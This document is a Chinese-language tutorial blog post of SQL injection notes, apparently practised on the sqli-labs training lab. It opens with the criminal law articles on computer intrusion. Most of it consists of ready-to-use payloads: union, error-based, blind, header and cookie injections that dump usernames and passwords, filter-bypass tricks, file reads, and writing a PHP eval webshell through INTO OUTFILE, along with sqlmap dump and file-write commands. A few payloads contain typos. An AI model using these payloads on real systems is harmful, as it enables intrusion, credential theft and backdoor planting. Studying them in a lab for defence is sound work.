SQL注入(sqli)

中华人民共和国刑法(第285、286条)

第二百八十五条 非法侵入计算机信息系统罪

违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。
违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。
单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照各该款的规定处罚。

第二百八十六条 破坏计算机信息系统罪

违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。
违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。
故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。
单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。


1.GET 基于报错类型的SQL注入(联合查询一定要先报错)

users是一个当前数据库中的一个表,但在其他information_schema数据库中,是以 值 的方式出现,这就是为什么information_schema是mysql数据库的总表

  • 判断字段数
 1' order by 4 --+
 1' order by 3 --+

当有4时报错,说明没有4列

  • 查询当前数据库所有表名
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

回显:Your Login name:emails,referers,uagents,users

其中tables表中,table_schematable_name分别用来存储数据库名和表名,也就是说:
database()函数,先获取当前数据库名称,选定好后,将当前数据库中的表名通过table_name打印成一行( group_concat() )出来

  • 获取users表中字段(列)名
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

回显:Your Login name:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,id,username,password

在users表中table_namecolumn_name分别存储表名和字段名,也就是说:
我们对当前数据库中的users表感兴趣,
我们选择 information_schema.columns 这个表,专门存储了我们想要的东西,我们选择数据表名称为users的表,使用group_concat(column_name)来将users表中所有列名展示了出来,
我们发现当中有usernamepassword,这是我们想要的

  • 提取账号与密码
0' union select 1,group_concat(username,0x3a,password),3 from users --+

回显:Your Login name:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4

  • SQLMAP探测
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs --batch
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables --batch
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns --batch
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users -C username,password --dump --batch

2.POST基于时间与布尔盲注

向数据库发送true 或 false(id=1)这样的问题,并根据应用程序返回信息判断结果。这种应用程序配置只显示常规错误,并没有从代码角度解决SQL注入问题

  • 时间

先要测试出闭合字符,使用 ?id=1' and sleep(10) --+来判断

id=1' and (select if((select database())='security',sleep(10),1)) --+
id=1' and (select if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101,sleep(10),NULL)) --+ 
  • 布尔

先要测试闭合字符

id=1' and (select length(database())=7) --+
id=1'and (select ascii(substr(database(),1,1))=115) --+
select  substr(database(),1,1)
select ascii(substr(database(),1,1))
select ascii(substr(database(),1,1))>N
select ascii(substr(database(),1,1))=N
select ascii(substr(database(),1,1))<N
  • SQLMAP探测(指定探测技术:B 布尔 T TIME S 堆叠 U UNION E ERROR Q 查询)
 sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique T --dbs

3.MYsql注入读写文件

  • 检查
show global variables like "secure_file_priv"; //使它不为 NULL
  • 读取
select load_file('D:\\1.txt');
  • 写入文件
show variables like '%general%'; //开启general
set global general_log = on;
?id=0')) union select 1,'<?php phpinfo();?>',3 into outfile 'E:\\hack\\PhPstudy\\WWW\\sqli\\Less-7\\1.php' --+
  • 也可以写入一句话马
<?php @eval($_POST["x"]);?>
?id=0')) union select 1,'<?php @eval($_POST["x"]);?>',3 into outfile 'E:\\hack\\PhPstudy\\WWW\\sqli\\Less-7\\1.php' --+
  • 实验

1.找闭合

?id=1
?id=1'
?id=1\
?id=1' --+ //来判断类型

2.判断字段数

?id=1' order by 4 --+
?id=1' order by 3 --+ //为3

3.使用Union联合查询,需要先报错

?id=0' union select 1,2,3 --+ //来判断输出位置

4.读取文件

?id=0' union select 1,load_file('G:\\1.txt'),3 --+

5.写入文件

?id=0' union select 1,'<?php @eval($_POST["x"];?)>',3 into outfile 'E:\\hack\\PhPstudy\\WWW\\sqli\\Less-7\\1.php' --+
  • SQLMAP

sqlmap.py -u "http://127.0.0.1/sqli/Less-7/?id=1" --file-read "G:\\1.txt"

sqlmap.py -u "http://127.0.0.1/sqli/Less-7/?id=1" --file-write "/root/Desktop/1.txt" --file-dest "G:\\1.txt" 

4.POST基于错误注入

  • 手工

burp截断,发送到repeater
给密码或账号后加反斜杠,来注释后面的内容,查看闭合
再利用闭合加上 or 1=1 --+ 来查看列数
闭合正确,错误输入(可以去掉or 1=1),来获取输出位置
再在后面加上想要插入的语句

  • SQLMAP

复制截断请求到 /root/Desktop/1.txt

sqlmap.py -r "/root/Desktop/1.txt" --technique E --dbs
sqlmap.py -r "/root/Desktop/1.txt" --technique E -D security
-D security --tables
-D security -T users --columns
-D security -T users -C username,password --dump

5.GET报错注入

无输出回显时,使用这些语句利用报错信息可以查看到想要查看的内容

select count(*) from table group by floor(rand(0)*2);
  • 查看原理

https://blog.csdn.net/zpy1998zpy/article/details/80650540
https://www.cnblogs.com/xdans/p/5412468.html

对于 floor(rand(0)2) 时 0110101
------------------开始计算,有,插入,无,计算

limit a,b (a可以根据实际情况,取0~,而b取1就行)

  • 获取数据库
0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
  • 获取表名
0' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
  • 获取用户信息
0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
  • SQLMAP探测

同上

6.sql注入绕过

  • 大小写绕过

如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。例如:and 过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。
通过修改关键字内字母大小写来绕过过滤措施。例如:AnD 1=1
例如:在进行探测当前表的字段数时,使用order by 数字进行探测。如果过滤了order ,可以使用OrdER来进行绕过。

  • 双写绕过

如果在程序中设置出现关键字之后替换为空,那么SQL注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了以此替换。就是将关键字替换为对应的空。
例如:过滤了union 只要发现union无论时大小写都会被替换为空。UnunionIon 结合之前大小写绕过

  • 编码绕过

可以利用网络中的URL在线编码,绕过SQL注入的过滤机制。

http://tool.chinaz.com/Tools/urlencode.aspx

  • 内联注释绕过

在Mysql中内容注释中的内容可以被当作SQL语句执行。

 /*!select*/ * from product

7.HTTP update语句注入

  • 使用 updatexml
uname=admin&passwd=admin' or updatexml(1,concat(0x7e,version(),0x7e),1) --+&submit=Submit
  • SQLMAP
sqlmap.py -r "1.txt" -p passwd

8.HTTP头中的SQL注入

用户提交的参数被过,但对于HTTP头中提交的内容没有进行过滤,例如HTTP头中 User-Agent、Referer、Cookies等。

or 是左右两边有一个成立就全部执行
‘username’,‘password’ 有 or ‘1’ = '1后 ‘cwusername’,‘cwpassword’ or '1

  • HTTP User-Agent注入
updatexml(xml_document,xpath_string,new_value);
/*XML文档对象名称。
XPath字符串。
替换查找到的符合条件的数据。*/
' and updataxml --+
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or  '1' = '1
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,1) or '1' = '1
' and updatexml(1,concat(0x7e,(select group_concat(column_name from information_schema.columns where table_column='users')),0x7e) or '1' ='1
  • HTTP Referer注入
' or '1'='1
' or if(database()='security',sleep(5),null) or '1'= '1
  • SQLMAP
  1. Sqlmap自动搜索POST表单注入,搜索的是用户提交的内容
sqlmap.py -u "http://ip/sqltest/post.php" --forms
  1. 指定参数探测SQL注入,指定的参数可以是burp抓包用户提交的
sqlmap.py -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"
  1. 指定注入位置进行注入

在保存的文件中,对于参数的修改为*或者在后面加* ,这样可以在任意地方进行注入

9.Cookie注入

Cookies最典型的应用是判定注册用户是否已经登录网站

  • 在burp下
' or 1=1 --+ //输出第一个用户名和密码
' and updatexml(1,concat(0x7e,database(),0x7e),1) or 1=1 --+ //输出当前数据库
  • SQLMAP测试
sqlmap.py  -r  "nihao.txt"  --level 3 --batch //独立文件,加*

10.CookieBase64注入

代码将cookie用Base64加密进行传输

decode 解密 encode 加密

  • burp下

在decoder模块下,将 admin\ 进行加密,然后返回报错,查看闭合符号

再将 admin" or 1=1 --+ 进行加密,插入,输出第一个用户名和密码

  • SQLMAP下
sqlmap.py -r "nihao.txt" --level3 --batch  --tamper base64encode.py //独立文件,加*

11.绕过去除注释符的SQL注入

注释符用于标记某段代码,起到对代码功能的说明作用,但是注释掉的内容不会被执行

  • 常见注释
 --+ 或 --空格  或 #
 /*! 内联注释*/   /*多行注释*/
 and -- &&、or -- ||
  • 相应函数块
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替换。
 $pattern: 要搜索的模式,可以是字符串或一个字符串数组
 $replacement: 用于替换的字符串或字符串数组。
 $subject: 要搜索替换的目标字符串或字符串数组。

利用注释符别过滤不能成功闭合单引号等,换一种思路 利用 or ‘1’='1闭合单引号等。

  • 常用闭合
id=-1' union select 1,database(),'3
id=-1' union select 1,database(),3 or '1
  • 注入
id=1' and (select 1 from (select count(*),(concat("~",database(),"~",floor(rand()*2)))name from information_schema.tables+group+by+name)b) or' //获取表名
id=1' and (select 1 from (select count(*),(concat("~",(select username from users limit 0,1),"~",floor(rand()*2)))namefrominformation_schema.tablesgroupbyname)b)or' //获取用户名
  • sqlmap
sqlmap.py -u "url/?id=1" --batch

12.绕过剔除and和or的SQL注入

  • 绕过方法
a/**/nd和oorr //绕过剔除
&&|| //分别来代替 and 和 or
  • eg:
?id=0' || 1 --+
?id=0' oorr 1 --+
  • sqlmap

同上

13.绕过剔除空格的SQL注入

利用编码(hex,urlencode)绕过
将空格换成 换行URL编码 %0a

%09 TAB键(水平)
%0c 新的一页 
%0d return功能 
%0b TAB键(垂直)
  • sqlmap

同上

14.绕过剔除黑名单(union和select)的SQL注入

  • 注入
?id=0%27%09%09uniOn%09SelEcT%091,2,3%09%271 //%27 ’ ,%09 ,SeLEcT是用了大小写绕过,后面的   %271    相当与   ‘1    sql语句中的id后引号进行闭合
  • sqlmap

同上

15.宽字节注入

  • 字节

GBK 占用两字节,ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集

%DF’会被PHP当中的addslashes函数转义为 %DF\’ , \ 既URL里的 %5C
也就是说, %DF’ 会被转成 %DF%5C%27

*若网站使用字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为 %DF%5C%27 是一个宽字符。也就是 縗’ *

  • 注入
?id=%df' --+
?id=1%df' --+
?id=%df' order by 4 --+
?id=%df' order by 4 --+
?id=%df' union select 1,group_concat(username,0x7e,password),3 form users --+
  • sqlmap
sqlmap.py -u “url/?id=1%df%27” --search --level 3 --risk 1 --thread 10 //search 搜索字段名、表明和库名  level 等级、力度  risk 风险  thread 线程
  • 补充

最常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128即可

我们先将129(十进制)转换为十六进制,为0x81,如图1所示,然后在十六进制前面加%即可,即为%81

GBK首字节对应 0×81-0xFE ,尾字节对应 0×40-0xFE(除0×7F)

  • 注入
id=%bf'  --+
id=%bc' --+
  • sqlmap
?id=1"  --tamper=unmagicquotes.py//调用unmagicquotes.py脚本,将url全部转换成字节

16.二次注入

用户修改密码时,读取注册用户名语句是

update ... set ... where username=注册用户名

而你提前的注册名为
admin' -- -//这里用 -- - 是为了产生注释,最后一个 - 为它前面的空格而存在,保证空格不被去除

使SQL语句中变为

update admin set users where username='admin';

可以修改admin的密码

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值